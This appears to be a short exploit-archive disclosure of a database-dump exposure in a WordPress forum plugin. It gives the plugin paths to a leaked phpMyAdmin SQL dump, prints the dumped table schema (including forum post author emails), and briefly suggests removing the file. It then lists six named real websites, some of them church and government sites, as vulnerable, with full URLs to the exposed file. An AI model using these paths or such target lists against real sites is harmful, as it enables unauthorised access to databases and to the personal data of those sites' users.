It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MySQL server). The dump typically contains SQL statements to create the table, populate it, or both. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and should not be found on a production system. Remediation : Restrict access to this file or remove it from the system. ########################################################################### # Database Disclosure Exploit : *************************** /wp-content/plugins/wp-forum/forum_db.txt /wp-content/plugins/wp-form/wpforum/forum_db.txt # Information : ************** -- phpMyAdmin SQL Dump -- version 2.7.0-pl2 -- phpmyadmin.net -- -- Host: localhost -- Server version: 5.0.19 -- PHP Version: 5.1.4 -- -- Database: `wordpress` -- -- -------------------------------------------------------- -- -- Table structure for table `wp_forum_forums` -- CREATE TABLE `wp_forum_forums` ( `id` int(11) NOT NULL auto_increment, `name` varchar(255) NOT NULL default '', `parent_id` int(11) NOT NULL default '0', `description` varchar(255) NOT NULL default '', `views` int(11) NOT NULL, PRIMARY KEY (`id`) ) ; -- -------------------------------------------------------- -- -- Table structure for table `wp_forum_groups` -- CREATE TABLE `wp_forum_groups` ( `id` int(11) NOT NULL auto_increment, `name` varchar(255) NOT NULL default '', PRIMARY KEY (`id`) ) ; -- -------------------------------------------------------- -- -- Table structure for table `wp_forum_posts` -- CREATE TABLE `wp_forum_posts` ( `id` int(11) NOT NULL auto_increment, `author_name` varchar(255) default NULL, `author_email` varchar(255) default NULL, `author_web` varchar(255) default NULL, `text` longtext, `thread_id` int(11) NOT NULL default '0', `date` datetime NOT NULL default '0000-00-00 00:00:00', `author_id` int(11) NOT NULL, `subject` varchar(255) NOT NULL, `views` int(11) NOT NULL, PRIMARY KEY (`id`) ) ; -- -------------------------------------------------------- -- -- Table structure for table `wp_forum_threads` -- CREATE TABLE `wp_forum_threads` ( `id` int(11) NOT NULL auto_increment, `forum_id` int(11) NOT NULL default '0', `views` int(11) NOT NULL default '0', `subject` varchar(255) NOT NULL default '', `date` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) ; ########################################################################### # Example Vulnerable Sites : ************************* [+] centres-animation-quartiers-bordeaux.eu/wp-content/plugins/wp-forum/forum_db.txt [+] thebrashbrothers.com/wp-content/plugins/wpforum/forum_db.txt [+] dgerard.com/news.41clubs.be/wp-content/plugins/wp-forum/forum_db.txt [+] ridceo.rid.go.th/udornth/xxnongkungthanasan/wp-content/plugins/wp-form/wpforum/forum_db.txt [+] templebaptistchurchonline.com/wordpress/wp-content/plugins/wp-forum/forum_db.txt [+] templebaptist.church/wordpress/wp-content/plugins/wp-forum/forum_db.txt ########################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###########################################################################
